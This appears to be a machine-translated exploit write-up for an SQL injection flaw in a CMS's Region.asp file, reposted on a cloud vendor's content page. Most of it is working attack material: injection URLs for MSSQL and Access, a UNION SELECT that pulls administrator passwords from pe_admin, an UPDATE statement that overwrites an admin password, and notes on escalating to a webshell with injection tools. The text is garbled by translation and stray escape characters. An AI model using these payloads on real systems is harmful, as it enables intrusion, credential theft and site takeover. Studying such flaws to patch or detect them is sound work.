Region. ASP Vulnerability

Source: Internet
Author: User

Detailed description:
This afternoon, I read the code for the Internet. It hurts a lot. So I came back in the evening and looked for other vulnerabilities in the mobile system. I found that there was a logic error!
In Region. asp

Country = replacebadchar (TRIM (Request (\ "country \\\")))
Province = replacebadchar (TRIM (Request (\ "province \\\")))
City = replacebadchar (TRIM (Request (\ "city \\\")))

All input variables are filtered, but the programmer is here:

Set temprs = Conn. execute (\\\ "select province from pe_province where country =\\\\ \" & Country \\\ "\\\ 'order by provinceid \\\")
If err or temprs. EOF then
Redim showprovince (0, 0)
Province = trim (request. querystring (\\\ "province \\\"))
Else
Showprovince = temprs. getrows (-1)
End if
Set temprs = Conn. execute (\\\ "select distinct city from pe_city where province =\\\\ \" & province &\\\"\\\'\\\")

As you can see, Province = trim (request. querystring (\ "province \") is directly obtained here

The passed-in province is not filtered. Therefore, this province variable is dangerous. In the following example, it directly introduces the query,
Since the province variable can be constructed at will, we can construct our SQL statements.

Refer:
Http://whytt.mblogger.cn/
Solution:
None

Test method:

[Warning]

The following procedures (methods) may be offensive and are only for security research and teaching. You are at your own risk!

However, the prerequisite for this query is: Err = true or temprs. EOF, and to reach one of the two, it is to let Conn. execute (\\\ "select province from pe_province where country =\\\\ \" & Country \\\ "\\\ 'order by provinceid \\\") the country statement cannot be found in the table. The following code is used:

Http: // 127.0.0.1/region. asp? Country = TT & City = whytt & province = Shi \ '+ and + User> 0 --

In

Http: // 127.0.0.1/region. asp? Country = TT & City = whytt & province = Shi \\\ 'is followed by our SQL Injection statement.

This is the entire exploitation principle, which is simple, but also fatal.

The above is the use of the MSSQL version, but what if it is used in the access version,

You may think that I am talking nonsense.

Http: // 127.0.0.1/region. asp? Country = TT & City = whytt & province = Shi \\\ 'and 1 = 1 and \\\ '1 \\\' =\\ '1

In this case, and 1 = 1 is used in the access version. Haha. This completes the exploitation of this vulnerability in two versions.

Http: // 127.0.0.1/region. asp? Country = TT & City = whytt & province = Shi \ '+ and + 1 = 2 + Union + select
+ Password + from + pe_admin + where + 1 <2 + and + \\\ '1 \\\' =\\ '1

Here, username is a field for brute force attacks. Haha, it feels good to kill it.

By
Whytt

Supplement:

Update pe_admin set password =\\\ '13955235245b2497 \\\ 'where id = 2 --

If you cannot insert the administrator in the column directory, but I like to directly update the administrator password, get the shell and change it back, or add

If you can list directories, you can directly find the web directory, and then you can get webshell with Nb's getwebshell.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Some time ago, it was known that there were more than one hole in motion, which was released again,
Kill ACC and MSSQL
Http://site.com/region.asp? Country = TT & City = whytt & province = Shi'

The SQL statement is followed.

Returned information:
Microsoft ole db provider for SQL Server Error '80040e14'
There are unclosed quotation marks before the string 'shi.
/Region. asp, Row 32

For MSSQL
Nbsi direct column directory> Backup> OK!

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.